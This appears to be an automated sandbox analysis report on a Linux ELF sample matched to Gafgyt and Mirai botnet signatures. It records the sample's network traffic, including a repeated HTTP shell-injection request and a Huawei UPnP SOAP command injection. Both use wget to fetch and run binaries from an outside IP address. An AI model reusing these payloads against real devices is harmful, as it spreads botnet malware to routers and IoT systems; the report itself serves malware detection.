Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: global traffic

DNS traffic detected: DNS query: scamanje.stresserit.pro

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: x86_64.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: x86_64.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_0cd591cd Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a33a8363 Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_6a77af0f Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: x86_64.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6216.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 6216.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 6216.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 6216.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 6216.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd Author: unknown
Source: 6216.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 6216.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 Author: unknown
Source: 6216.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: 6216.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_6a77af0f Author: unknown
Source: 6216.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: 6216.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 6216.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6218.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 6218.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 6218.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 6218.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 6218.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd Author: unknown
Source: 6218.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 6218.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 Author: unknown
Source: 6218.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: 6218.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_6a77af0f Author: unknown
Source: 6218.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: 6218.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 6218.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth

Source: Initial sample

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_0cd591cd os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b, id = 0cd591cd-c348-4c3a-a895-2063cf892cda, last_modified = 2021-09-16
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a33a8363 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08, id = a33a8363-5511-4fe1-a0d8-75156b9ccfc7, last_modified = 2021-09-16
